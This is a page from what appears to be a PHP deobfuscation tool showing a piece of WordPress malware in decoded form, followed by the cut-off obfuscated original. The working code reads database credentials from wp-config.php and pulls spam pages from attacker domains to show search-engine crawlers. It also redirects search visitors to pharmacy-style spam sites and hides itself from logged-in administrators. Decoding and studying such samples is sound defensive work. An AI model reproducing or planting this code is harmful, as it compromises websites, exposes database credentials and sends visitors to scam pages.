Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); goto Ra376; h7ZaK: $lQxUQ = strtolower($_SERVER["\x48\124\124\..

Decoded Output download

<?php 
error_reporting(0); 
goto Ra376; h7ZaK: $lQxUQ = strtolower($_SERVER["HTTP_REFERER"]); goto jaPtv; EygWM: function Au_6j() { goto d4Zxn; d4Zxn: @($cKDN6 = SmWLg("http://blngblngs.rocks/pressure-host.txt")); goto zIEfu; zIEfu: if (empty($cKDN6)) { goto OunC0; } goto mLh11; J2CpW: $DwP63 = smWlG("http://5.g00gleweb.com/pressure-host.txt"); goto XqVUg; mLh11: $DwP63 = $cKDN6 . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto k1_ux; XqVUg: gzJ3a: goto EzRhN; k1_ux: OunC0: goto K9dut; r7CHT: return $DwP63; goto j5KYs; EzRhN: if (!empty($DwP63)) { goto MzMyZ; } goto Publk; xZhnJ: MzMyZ: goto r7CHT; Publk: $DwP63 = "https://6.saleforyou.org/pressure-jump.php"; goto xZhnJ; K9dut: if (!empty($cKDN6)) { goto gzJ3a; } goto J2CpW; j5KYs: } goto F9aDJ; Zjmhd: $TFI3u = str_replace("http://" . fokxd() . "/", $XPbPI . "://" . $otSoO . FOkXd() . "/", $TFI3u); goto WE85a; pfmQ1: if (!CXRU_($lQxUQ)) { goto yo3wF; } goto C8Ctw; ANw_h: function wJnsz() { goto LMYlO; CKnRt: w5lv8: goto HH7kC; Mi5_K: goto w5lv8; goto pjLpj; HH7kC: return $VMrXV; goto rU8Z7; pjLpj: GHFDx: goto MbBFJ; f1vSG: jBcC2: goto mdjDJ; N33Tn: $VMrXV = getenv("REMOTE_ADDR"); goto kdAU2; mdjDJ: $VMrXV = getenv("HTTP_X_FORWARDED_FOR"); goto Z0ECh; LMYlO: $VMrXV = ''; goto aQfvd; C7po8: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) { goto jBcC2; } goto lLRtu; Z0ECh: goto w5lv8; goto pN0VQ; pN0VQ: P7lSA: goto N33Tn; aQfvd: if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) { goto GHFDx; } goto C7po8; kdAU2: goto w5lv8; goto qXwTX; wmUEn: if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { goto SQqLc; } goto Mi5_K; lLRtu: if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) { goto P7lSA; } goto wmUEn; BJITB: goto w5lv8; goto f1vSG; MbBFJ: $VMrXV = getenv("HTTP_CLIENT_IP"); goto BJITB; qXwTX: SQqLc: goto hSd03; hSd03: $VMrXV = $_SERVER["REMOTE_ADDR"]; goto CKnRt; rU8Z7: } goto FJdsm; mJFn6: vY6ah: goto rM3jt; zyo4V: $TFI3u = smWlG(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy9jYmQvbWFpbi5waHA/a2V5PQ") . $K_oX0 . "&host=" . $y_T1R . "&www=2"); goto xDQJc; xM4Rc: yo3wF: goto Antpn; FJdsm: $nimE7 = WjNSZ(); goto ob7IY; HECNB: Y6On2: goto u2t5G; kAR0z: $P9M3f = 1; goto GzHHg; Z1pi3: $TFI3u = str_replace("http://", "https://", $TFI3u); goto Mw7yC; xYgsP: header("location: " . $uqoJy); goto JO3vi; JTG96: C0TcM: goto TO0dC; Nll0Z: header("location: " . $uqoJy); goto BPtT1; ob7IY: function aaYkX($Eh3_p) { goto U_KUZ; yo3MT: if (!($pVMHa = mysqli_fetch_array($k_tbr))) { goto wvjCs; } goto Ug02Y; XQXhe: $N93qL = $UbPy1[2][3]; goto Q9i3Z; lO4N0: $E7YcR = ''; goto MGaMD; RM0hx: $HnmsA = $UbPy1[2][0]; goto vXwgU; kWOoP: $vUPrC = true; goto Bw21M; uu9p8: EKXzq: goto YbpUm; Ug02Y: $t_iIG .= $pVMHa["meta_value"]; goto AEn8d; KVCSK: Hd32t: goto yo3MT; MGaMD: $ApU8p = strripos($Eh3_p, "."); goto x9xuO; xZybD: preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'"],\s+[\'"](.+)[\'"]\s*\);~m", $aTjvA, $UbPy1); goto ZvPlF; h9caH: mysqli_close($A1ON9); goto lO4N0; zdYOo: if (!file_exists($xbtit = "D:\sites\ifl/wp-config.php")) { goto cOnxk; } goto qeAe0; iIQtN: return $vUPrC; goto HKh7E; vXwgU: $vCowJ = $UbPy1[2][1]; goto dFv8S; HKh7E: ZkwqC: goto WXBTW; x9xuO: $A6FQ5 = substr($Eh3_p, 0, $ApU8p); goto bZOuW; qDXzw: $hGbbA = "SELECT * FROM `{$uqH5S}usermeta` WHERE `meta_key` = 'community-events-location'"; goto D3NLN; Q9i3Z: $uqH5S = $Y8N9k[1]; goto Uru70; D3NLN: $k_tbr = mysqli_query($A1ON9, $hGbbA); goto KVCSK; YbpUm: goto ZkwqC; goto yTLlK; wfbe4: $t_iIG = ''; goto tfs4M; AEn8d: goto Hd32t; goto IQYoJ; qeAe0: $aTjvA = file_get_contents($xbtit); goto xZybD; ZvPlF: preg_match("~table_prefix\s+=\s+'(.+)';~", $aTjvA, $Y8N9k); goto RM0hx; Bw21M: qDHQ4: goto uu9p8; yTLlK: cOnxk: goto iIQtN; U_KUZ: $vUPrC = false; goto zdYOo; Uru70: $A1ON9 = mysqli_connect($N93qL, $vCowJ, $ZPolf, $HnmsA); goto wfbe4; WXBTW: return $vUPrC; goto PLq1L; IQYoJ: wvjCs: goto h9caH; tfs4M: if (isset($WlVSt)) { goto EKXzq; } goto qDXzw; bZOuW: if (!(strpos($t_iIG, $A6FQ5) !== false || strpos($E7YcR, $A6FQ5) !== false)) { goto qDHQ4; } goto kWOoP; dFv8S: $ZPolf = $UbPy1[2][2]; goto XQXhe; PLq1L: } goto ZNFb4; kV4fB: $TFI3u = str_replace("_unLine_", "/", $TFI3u); goto rSNbO; rM3jt: u6G10: goto rcDge; jUBZn: $TFI3u = str_replace("http://fat.blngblngs.rocks/images202303/{$wCQ7U}/", $XPbPI . "://" . $otSoO . FOkXd() . "/images/", $TFI3u); goto BQC4I; EHlNc: echo $TFI3u; goto opUS6; q4JxE: i1gLF: goto OoJy2; VIG44: $TFI3u = str_replace("http://", "https://", $TFI3u); goto U3esw; ZQ55Z: $TFI3u = str_replace("/?key=", "/", $TFI3u); goto pqog6; sy2k_: $K_oX0 = str_replace($SlDPZ[1] . "/", $SlDPZ[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto B2e2_; bnZ1a: $TFI3u = SmWlG(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy9wcmVzc3VyZS9tYWluLnBocD9rZXk9") . $K_oX0 . "&host=" . $y_T1R . "&www=2"); goto CIGF6; RQpea: $TFI3u = str_replace("http://fat.blngblngs.rocks/images202303/{$wCQ7U}/", $XPbPI . "://" . $otSoO . foKxD() . "/images/", $TFI3u); goto EpAmu; Ef4jl: exit; goto xM4Rc; xuk65: $K_oX0 = str_replace("/", '', $K_oX0); goto qNkMo; LQKU9: $K_oX0 = str_replace($SlDPZ[1] . "/", $SlDPZ[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto xuk65; KwKGq: $j5TBg = array("#Ask\s*Jeeves#i", "#HP\s*Web\s*PrintSmart#i", "#HTTrack#i", "#IDBot#i", "#Indy\s*Library#", "#ListChecker#i", "#MSIECrawler#i", "#NetCache#i", "#Nutch#i", "#RPT-HTTPClient#i", "#rulinki\.ru#i", "#Twiceler#i", "#WebAlta#i", "#Webster\s*Pro#i", "#www\.cys\.ru#i", "#Wysigot#i", "#Yahoo!\s*Slurp#i", "#Yeti#i", "#Accoona#i", "#CazoodleBot#i", "#CFNetwork#i", "#ConveraCrawler#i", "#DISCo#i", "#Download\s*Master#i", "#FAST\s*MetaWeb\s*Crawler#i", "#Flexum\s*spider#i", "#Gigabot#i", "#HTMLParser#i", "#ia_archiver#i", "#ichiro#i", "#IRLbot#i", "#Java#i", "#km\.ru\s*bot#i", "#kmSearchBot#i", "#libwww-perl#i", "#Lupa\.ru#i", "#LWP::Simple#i", "#lwp-trivial#i", "#Missigua#i", "#MJ12bot#i", "#msnbot#i", "#msnbot-media#i", "#Offline\s*Explorer#i", "#OmniExplorer_Bot#i", "#PEAR#i", "#psbot#i", "#Python#i", "#rulinki\.ru#i", "#SMILE#i", "#Speedy#i", "#Teleport\s*Pro#i", "#TurtleScanner#i", "#User-Agent#i", "#voyager#i", "#Webalta#i", "#WebCopier#i", "#WebData#i", "#WebZIP#i", "#Wget#i", "#Yandex#i", "#Yanga#i", "#Yeti#i", "#msnbot#i", "#spider#i", "#yahoo#i", "#jeeves#i", "#google#i", "#altavista#i", "#scooter#i", "#av\s*fetch#i", "#asterias#i", "#spiderthread revision#i", "#sqworm#i", "#ask#i", "#lycos.spider#i", "#infoseek sidewinder#i", "#ultraseek#i", "#polybot#i", "#webcrawler#i", "#robozill#i", "#gulliver#i", "#architextspider#i", "#yahoo!\s*slurp#i", "#charlotte#i", "#ngb#i", "#BingBot#i"); goto Z7IFc; dZxGN: if (!CXRu_($lQxUQ)) { goto PFHDx; } goto FbqYE; YKmxi: $K_oX0 = str_replace("/", '', $K_oX0); goto bnZ1a; GG_JR: TE2UC: goto FsoY1; nl1MU: if (!(FALSE !== strpos(gethostbyaddr($nimE7), "google"))) { goto bZAWo; } goto kAR0z; xDQJc: $TFI3u = str_replace("http://" . FOkxd() . "/", $XPbPI . "://" . $otSoO . FOkxD() . "/", $TFI3u); goto jUBZn; aN1yy: function smWlg($zMfQt) { goto VFm2h; UxiXE: McmzY: goto zxbWm; ZeB1h: $JMOEa = 5; goto zJcIQ; pSh0k: $cti5j = curl_init(); goto ZeB1h; zJcIQ: curl_setopt($cti5j, CURLOPT_URL, $zMfQt); goto sJJiC; wL2o9: curl_setopt($cti5j, CURLOPT_CONNECTTIMEOUT, $JMOEa); goto eXa6R; VFm2h: $uxscH = array("http" => array("method" => "GET", "timeout" => 5)); goto ADVFC; sJJiC: curl_setopt($cti5j, CURLOPT_RETURNTRANSFER, 1); goto wL2o9; eXa6R: $DwP63 = curl_exec($cti5j); goto T8c7m; zxbWm: return $DwP63; goto H90hK; T8c7m: curl_close($cti5j); goto UxiXE; mAooG: @($DwP63 = file_get_contents($zMfQt, false, $nzWki)); goto dtrcE; dtrcE: if (!empty($DwP63)) { goto McmzY; } goto pSh0k; ADVFC: $nzWki = stream_context_create($uxscH); goto mAooG; H90hK: } goto ANw_h; vF0ii: exit; goto lM21p; Pf90J: $wCQ7U = str_replace(".", "-", $wCQ7U); goto YTYng; JO3vi: exit; goto mJFn6; t_AVy: if (!(!preg_match("/wordpress_logged_in_/i", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto mK3s2; } goto pfmQ1; mVWiM: if (!$P9M3f) { goto cc_HP; } goto EHlNc; gqVCJ: foreach ($_COOKIE as $vFpVR => $lDdla) { $nPaTf .= $vFpVR . "=" . $lDdla . ","; loCjt: } goto L1zKz; CxyOY: function t5bRS() { goto TUWWN; hwNCp: VK8kM: goto ynkqf; i3oY0: $DwP63 = $cKDN6 . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto AjNfh; IEAsJ: if (empty($cKDN6)) { goto Jbz0e; } goto i3oY0; TUWWN: @($cKDN6 = SMwlG("http://blngblngs.rocks/weight-host.txt")); goto IEAsJ; j7Wp6: if (!empty($DwP63)) { goto VK8kM; } goto r_axk; tutmO: qoEay: goto j7Wp6; r_axk: $DwP63 = "https://6.saleforyou.org/weight-ss.php"; goto hwNCp; AjNfh: Jbz0e: goto yM6zT; dK7ww: $DwP63 = SMWlG("http://5.g00gleweb.com/weight-host.txt"); goto tutmO; yM6zT: if (!empty($cKDN6)) { goto qoEay; } goto dK7ww; ynkqf: return $DwP63; goto nXDz0; nXDz0: } goto t_AVy; MCeFh: $uqoJy = kTwc6(); goto h4opw; MfV6y: echo $TFI3u; goto gti67; a26dj: echo $TFI3u; goto sT2Ln; jaPtv: $nPaTf = ''; goto gqVCJ; f3XZA: function cxRU_($OJOZ4) { goto XemJC; XemJC: $OixmG = str_replace("x", '', "bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh|duxckdxucxkxgo"); goto dliId; OFGxh: return true; goto T5DqM; fPB0L: return false; goto nf5Ah; dliId: if (preg_match("/{$OixmG}/i", $OJOZ4)) { goto I7EYB; } goto fPB0L; T5DqM: kn7Dk: goto m8VvH; nf5Ah: goto kn7Dk; goto pgehq; pgehq: I7EYB: goto OFGxh; m8VvH: } goto h7ZaK; VYpSZ: boBi4: goto nbFb8; APWMk: $TFI3u = str_replace("http://fat.blngblngs.rocks/images202303/{$wCQ7U}/", $XPbPI . "://" . $otSoO . FOkxd() . "/images/", $TFI3u); goto Y4wGr; rcDge: $K_oX0 = str_replace($SlDPZ[1] . "/", $SlDPZ[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto Z2Mtk; FbqYE: $uqoJy = DRLqg(); goto Nll0Z; OoJy2: PsOGE: goto ywjhA; Z7IFc: if (!(!empty($_SERVER["HTTP_USER_AGENT"]) && FALSE !== strpos(preg_replace($j5TBg, "-NO-WAY-", $_SERVER["HTTP_USER_AGENT"]), "-NO-WAY-"))) { goto iDbA5; } goto y_goD; n58qS: $TFI3u = str_replace("http://", "https://", $TFI3u); goto W9PFA; WubxS: switch ($vmGaY) { case 1: goto QgO8t; yPy0k: goto PsOGE; goto O_7Z9; jnOX5: imagegif($TA5FW); goto yPy0k; QgO8t: header("content-type:image/gif"); goto jnOX5; O_7Z9: case 2: goto abCD1; vFr2n: imagejpeg($TA5FW); goto qPmX1; qPmX1: goto PsOGE; goto LZvmV; abCD1: header("content-type:image/jpeg"); goto vFr2n; LZvmV: case 3: goto lXACW; AjprO: goto PsOGE; goto Sb8zy; lXACW: header("content-type:image/png"); goto uvAsM; uvAsM: imagepng($TA5FW); goto AjprO; Sb8zy: default: goto PsOGE; } goto q4JxE; v5K4w: $XPbPI = "https"; goto aN1yy; lCkn7: $wCQ7U = preg_replace("/[^a-zA-Z|0-9|-|.]/i", "-", basename($wCQ7U)); goto Pf90J; j2iRd: DjwJg: goto JTG96; y6zKW: $otSoO = ''; goto v5K4w; s3bHX: $uqoJy = aU_6j(); goto nFiCS; Antpn: mK3s2: goto sy2k_; sxpys: $TA5FW = imagecreatefromstring(SmwlG($zMfQt)); goto pjwOD; eOw2N: function ktwc6() { goto Kq0_B; qqnHn: $DwP63 = sMwLg("http://5.g00gleweb.com/sugar-host.txt"); goto aAb3s; KKI2Y: wM3Uz: goto UIpe5; AKaMe: SxvXj: goto jjQU3; PtaTL: if (!empty($DwP63)) { goto SxvXj; } goto lG9bp; twKi1: if (empty($cKDN6)) { goto wM3Uz; } goto pDC_G; jjQU3: return $DwP63; goto BHMDJ; aAb3s: R3Blz: goto PtaTL; Kq0_B: @($cKDN6 = sMWlG("http://blngblngs.rocks/sugar-host.txt")); goto twKi1; pDC_G: $DwP63 = $cKDN6 . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto KKI2Y; UIpe5: if (!empty($cKDN6)) { goto R3Blz; } goto qqnHn; lG9bp: $DwP63 = "https://6.saleforyou.org/sugar-jump.php"; goto AKaMe; BHMDJ: } goto YzQ3m; RPF84: PFHDx: goto M3h9C; WE85a: $TFI3u = str_replace("http://fat.blngblngs.rocks/images202303/{$wCQ7U}/", $XPbPI . "://" . $otSoO . foKxD() . "/images/", $TFI3u); goto K2CFI; N0fNZ: exit; goto VYpSZ; FXiU2: if (!CxRu_($lQxUQ)) { goto lNLuu; } goto MCeFh; YTYng: if (!preg_match("/images\/(.*)/i", $_SERVER["REQUEST_URI"], $SlDPZ)) { goto drghR; } goto ORiQA; GTDof: $TFI3u = str_replace("http://fat.blngblngs.rocks/images202303/{$wCQ7U}/", $XPbPI . "://" . $otSoO . FoKxD() . "/images/", $TFI3u); goto UuhpN; oHykO: $TFI3u = str_replace("_unLine_", "/", $TFI3u); goto Z1pi3; RqkJV: if (!preg_match("#^\/(\w{5,6}\-\w{5,6})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $SlDPZ)) { goto w67ST; } goto EygWM; TO0dC: if (!preg_match("#^\/(\w{3,4}\-\w{5,6})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $SlDPZ)) { goto KLa7E; } goto CxyOY; sT2Ln: exit; goto Z35VT; PPIbi: header("location: " . $uqoJy); goto Ef4jl; NDHaE: $K_oX0 = str_replace($SlDPZ[1] . "/", $SlDPZ[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto YKmxi; diipT: function drLQg() { goto zEC7s; Ue6in: return $DwP63; goto jNmhj; cfqym: if (empty($cKDN6)) { goto UlLDX; } goto pijkW; pijkW: $DwP63 = $cKDN6 . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto zQ2QT; DM6eL: if (!empty($DwP63)) { goto Edmy2; } goto aLwIL; bqXQn: Edmy2: goto Ue6in; zEC7s: @($cKDN6 = SMwlg("http://blngblngs.rocks/cbd-host.txt")); goto cfqym; aLwIL: $DwP63 = "https://6.saleforyou.org/cbd-jump.php"; goto bqXQn; G4Gut: if (!empty($cKDN6)) { goto fNDmx; } goto WIx3G; IsKGi: fNDmx: goto DM6eL; WIx3G: $DwP63 = sMWlg("http://5.g00gleweb.com/cbd-host.txt"); goto IsKGi; zQ2QT: UlLDX: goto G4Gut; jNmhj: } goto U5o4j; CHbda: cc_HP: goto HECNB; YbUKE: KLa7E: goto sQmjB; ORiQA: $b1MN4 = $SlDPZ[1]; goto MIWZa; L1zKz: OQtPJ: goto WZa3_; J928A: iDbA5: goto nl1MU; bmHNp: $TFI3u = str_replace("_unLine_", "/", $TFI3u); goto VIG44; e91at: echo $TFI3u; goto U4GTR; zFlt0: gkXYu: goto LQKU9; fQe_k: $TFI3u = str_replace("http://", "https://", $TFI3u); goto mVWiM; MIWZa: $zMfQt = "http://fat.blngblngs.rocks/images202303/{$wCQ7U}/{$b1MN4}"; goto sxpys; bQSkL: if (!$P9M3f) { goto A21o8; } goto a26dj; F9aDJ: if (!(!preg_match("/wordpress_logged_in_/i", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto Kp_Je; } goto v1jtk; pStfO: $TFI3u = str_replace("http://" . FOkxD() . "/", $XPbPI . "://" . $otSoO . FOkXD() . "/", $TFI3u); goto APWMk; M3h9C: G7gOI: goto KF98J; y_goD: $P9M3f = 1; goto J928A; GzHHg: bZAWo: goto f3XZA; rSNbO: $TFI3u = str_replace("http://", "https://", $TFI3u); goto bQSkL; CIGF6: $TFI3u = str_replace("http://" . fOkxd() . "/", $XPbPI . "://" . $otSoO . fokxd() . "/", $TFI3u); goto RQpea; W9PFA: if (!$P9M3f) { goto dHISQ; } goto ypMxP; Z35VT: A21o8: goto LXMHr; B2e2_: $K_oX0 = str_replace("/", '', $K_oX0); goto B9i1V; U3esw: if (!$P9M3f) { goto DjwJg; } goto MfV6y; ZNFb4: $oqA0Z = aAYKx($nimE7); goto KwKGq; tFwFS: if (!(!preg_match("/wordpress_logged_in_/i", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto u6G10; } goto xPHKB; gti67: exit; goto j2iRd; Wkuo9: function LQBRQ() { goto uIplN; fah_W: if (!empty($cKDN6)) { goto Ira0o; } goto d0HFz; xKZ7K: FLLs4: goto fah_W; d_vEj: $DwP63 = "https://6.saleforyou.org/male-stone.php"; goto MgSpy; MgSpy: EfPkB: goto iegiB; yYoFP: $DwP63 = $cKDN6 . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto xKZ7K; RsDNf: Ira0o: goto rjh1H; rjh1H: if (!empty($DwP63)) { goto EfPkB; } goto d_vEj; ZuTN7: if (empty($cKDN6)) { goto FLLs4; } goto yYoFP; iegiB: return $DwP63; goto f1hPc; uIplN: @($cKDN6 = sMwlg("http://blngblngs.rocks/male-stone.txt")); goto ZuTN7; d0HFz: $DwP63 = smwLG("http://5.g00gleweb.com/male-host.txt"); goto RsDNf; f1hPc: } goto tFwFS; ywjhA: drghR: goto PNea4; nFiCS: header("location: " . $uqoJy); goto N0fNZ; RjkEu: $TFI3u = str_replace("/?key=", "/", $TFI3u); goto bmHNp; FsoY1: w67ST: goto nKtA_; BPtT1: exit; goto RPF84; U4GTR: exit; goto GG_JR; PoAri: dHISQ: goto YbUKE; v1jtk: if (!Cxru_($lQxUQ)) { goto boBi4; } goto s3bHX; Y1j6Z: $TFI3u = Smwlg(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy9tYWxlL21haW4ucGhwP2tleT0") . $K_oX0 . "&host=" . $y_T1R . "&www=2"); goto Zjmhd; BQC4I: $TFI3u = str_replace(".html", '', $TFI3u); goto K_WRB; h4opw: header("location: " . $uqoJy); goto vF0ii; K_WRB: $TFI3u = str_replace("/?key=", "/", $TFI3u); goto kV4fB; Js5EA: $TFI3u = str_replace("_unLine_", "/", $TFI3u); goto fQe_k; ypMxP: echo $TFI3u; goto rdPIO; UuhpN: $TFI3u = str_replace(".html", '', $TFI3u); goto ZQ55Z; U5o4j: if (!(!preg_match("/wordpress_logged_in_/i", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto G7gOI; } goto dZxGN; pqog6: $TFI3u = str_replace("_unLine_", "/", $TFI3u); goto n58qS; EpAmu: $TFI3u = str_replace(".html", '', $TFI3u); goto r22lS; lM21p: lNLuu: goto zFlt0; Dv0Pn: $TFI3u = str_replace("/?key=", "/", $TFI3u); goto Js5EA; pjwOD: list($Aw0l2, $p243Z, $vmGaY) = getimagesize($zMfQt); goto WubxS; IJGUi: $TFI3u = str_replace("http://" . Fokxd() . "/", $XPbPI . "://" . $otSoO . FOKXD() . "/", $TFI3u); goto GTDof; C8Ctw: $uqoJy = t5BRs(); goto PPIbi; yGks_: $uqoJy = LQBRq(); goto xYgsP; rdPIO: exit; goto PoAri; YzQ3m: if (!(!preg_match("/wordpress_logged_in_/i", $nPaTf) && !$oqA0Z && !$P9M3f)) { goto gkXYu; } goto FXiU2; LXMHr: Ga15X: goto RqkJV; opUS6: exit; goto CHbda; ojHMb: $K_oX0 = str_replace("/", '', $K_oX0); goto zyo4V; qNkMo: $TFI3u = SMwLg(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy9zdWdhci9tYWluLnBocD9rZXk9") . $K_oX0 . "&host=" . $y_T1R . "&www=2"); goto pStfO; Mw7yC: if (!$P9M3f) { goto TE2UC; } goto e91at; PNea4: if (!preg_match("#^\/(\w{3,4}\-\w{3,4})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $SlDPZ)) { goto C0TcM; } goto Wkuo9; nbFb8: Kp_Je: goto NDHaE; sQmjB: if (!preg_match("#^\/(\w{5,6}\-\w{3,4})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $SlDPZ)) { goto Ga15X; } goto diipT; xPHKB: if (!CXRU_($lQxUQ)) { goto vY6ah; } goto yGks_; Y4wGr: $TFI3u = str_replace(".html", '', $TFI3u); goto Dv0Pn; WZa3_: $y_T1R = foKXd(); goto a1rAc; a1rAc: $wCQ7U = str_replace("www.", '', $y_T1R); goto lCkn7; Ra376: function fOKXd() { return "ifl.pitt.edu"; } goto y6zKW; Z2Mtk: $K_oX0 = str_replace("/", '', $K_oX0); goto Y1j6Z; nKtA_: if (!preg_match("#^\/(\w{3,4}\-\w{7,8})\/((.*?)\-(.*?)\-(.*))#i", $_SERVER["REQUEST_URI"], $SlDPZ)) { goto Y6On2; } goto eOw2N; KF98J: $K_oX0 = str_replace($SlDPZ[1] . "/", $SlDPZ[1] . "_unLine_", $_SERVER["REQUEST_URI"]); goto ojHMb; r22lS: $TFI3u = str_replace("/?key=", "/", $TFI3u); goto oHykO; B9i1V: $TFI3u = SMWlG(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMy0wMy93ZWlnaHQvbWFpbi5waHA/a2V5PQ") . $K_oX0 . "&host=" . $y_T1R . "&www=2"); goto IJGUi; K2CFI: $TFI3u = str_replace(".html", '', $TFI3u); goto RjkEu; u2t5G: setcookie("wordpress_logged_in_02a09ee18e2", "wordpress_logged_in_02a09ee18e2", time() + 3600 * 24 * 100); ?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);
goto Ra376; h7ZaK: $lQxUQ = strtolower($_SERVER["\x48\124\124\x50\137\122\105\106\105\122\105\x52"]); goto jaPtv; EygWM: function Au_6j() { goto d4Zxn; d4Zxn: @($cKDN6 = SmWLg("\x68\x74\164\160\72\57\x2f\x62\154\156\x67\x62\x6c\x6e\x67\x73\x2e\x72\157\143\x6b\x73\x2f\160\162\145\x73\163\165\162\x65\55\150\157\x73\x74\x2e\164\170\164")); goto zIEfu; zIEfu: if (empty($cKDN6)) { goto OunC0; } goto mLh11; J2CpW: $DwP63 = smWlG("\x68\164\164\160\x3a\x2f\57\x35\56\147\x30\x30\147\x6c\x65\x77\145\142\x2e\143\157\x6d\x2f\160\162\145\x73\x73\x75\x72\x65\x2d\x68\157\x73\x74\x2e\x74\170\x74"); goto XqVUg; mLh11: $DwP63 = $cKDN6 . "\x3f\162\x65\146\x70\x61\x67\145\x3d" . $_SERVER["\x53\x45\122\126\x45\122\x5f\x4e\x41\x4d\105"] . $_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\125\122\111"]; goto k1_ux; XqVUg: gzJ3a: goto EzRhN; k1_ux: OunC0: goto K9dut; r7CHT: return $DwP63; goto j5KYs; EzRhN: if (!empty($DwP63)) { goto MzMyZ; } goto Publk; xZhnJ: MzMyZ: goto r7CHT; Publk: $DwP63 = "\150\x74\x74\160\x73\72\57\x2f\66\x2e\163\x61\x6c\x65\x66\x6f\162\x79\157\x75\56\157\162\147\x2f\x70\162\x65\163\x73\x75\x72\x65\x2d\x6a\165\155\x70\x2e\x70\x68\160"; goto xZhnJ; K9dut: if (!empty($cKDN6)) { goto gzJ3a; } goto J2CpW; j5KYs: } goto F9aDJ; Zjmhd: $TFI3u = str_replace("\150\164\164\160\x3a\x2f\57" . fokxd() . "\x2f", $XPbPI . "\x3a\57\x2f" . $otSoO . FOkXd() . "\57", $TFI3u); goto WE85a; pfmQ1: if (!CXRU_($lQxUQ)) { goto yo3wF; } goto C8Ctw; ANw_h: function wJnsz() { goto LMYlO; CKnRt: w5lv8: goto HH7kC; Mi5_K: goto w5lv8; goto pjLpj; HH7kC: return $VMrXV; goto rU8Z7; pjLpj: GHFDx: goto MbBFJ; f1vSG: jBcC2: goto mdjDJ; N33Tn: $VMrXV = getenv("\x52\105\115\117\x54\x45\x5f\x41\104\104\x52"); goto kdAU2; mdjDJ: $VMrXV = getenv("\110\x54\x54\x50\x5f\130\x5f\106\117\x52\x57\x41\122\x44\x45\104\137\106\x4f\122"); goto Z0ECh; LMYlO: $VMrXV = ''; goto aQfvd; C7po8: if (getenv("\110\124\x54\120\x5f\130\137\106\117\122\x57\x41\x52\x44\x45\104\137\x46\117\122") && strcasecmp(getenv("\x48\124\x54\120\x5f\130\137\106\x4f\x52\x57\101\x52\104\105\x44\137\106\x4f\122"), "\x75\x6e\153\x6e\157\x77\156")) { goto jBcC2; } goto lLRtu; Z0ECh: goto w5lv8; goto pN0VQ; pN0VQ: P7lSA: goto N33Tn; aQfvd: if (getenv("\x48\124\x54\x50\137\103\114\111\x45\116\x54\137\x49\x50") && strcasecmp(getenv("\x48\x54\124\120\137\103\114\x49\x45\x4e\x54\137\111\120"), "\x75\156\x6b\x6e\x6f\167\x6e")) { goto GHFDx; } goto C7po8; kdAU2: goto w5lv8; goto qXwTX; wmUEn: if (isset($_SERVER["\122\x45\115\117\124\x45\x5f\x41\104\104\x52"]) && $_SERVER["\122\x45\115\117\x54\105\x5f\x41\104\104\122"] && strcasecmp($_SERVER["\122\105\x4d\x4f\x54\x45\137\101\x44\x44\122"], "\x75\156\x6b\x6e\x6f\167\156")) { goto SQqLc; } goto Mi5_K; lLRtu: if (getenv("\x52\x45\x4d\117\124\x45\137\101\x44\x44\x52") && strcasecmp(getenv("\122\105\115\x4f\x54\105\x5f\101\104\x44\x52"), "\165\156\153\x6e\x6f\x77\x6e")) { goto P7lSA; } goto wmUEn; BJITB: goto w5lv8; goto f1vSG; MbBFJ: $VMrXV = getenv("\x48\124\x54\120\137\x43\x4c\x49\105\x4e\x54\137\x49\x50"); goto BJITB; qXwTX: SQqLc: goto hSd03; hSd03: $VMrXV = $_SERVER["\122\105\x4d\117\124\x45\137\101\x44\104\x52"]; goto CKnRt; rU8Z7: } goto FJdsm; mJFn6: vY6ah: goto rM3jt; zyo4V: $TFI3u = smWlG(base64_decode("\x61\110\x52\60\143\x44\157\x76\114\62\x5a\x68\144\x43\65\x69\x62\x47\65\156\x59\155\x78\x75\132\63\115\x75\x63\x6d\x39\x6a\x61\63\x4d\166\115\x6a\x41\171\115\x79\60\x77\115\x79\x39\x6a\131\x6d\121\166\x62\x57\106\x70\142\151\65\167\x61\x48\x41\x2f\x61\62\126\65\x50\x51") . $K_oX0 . 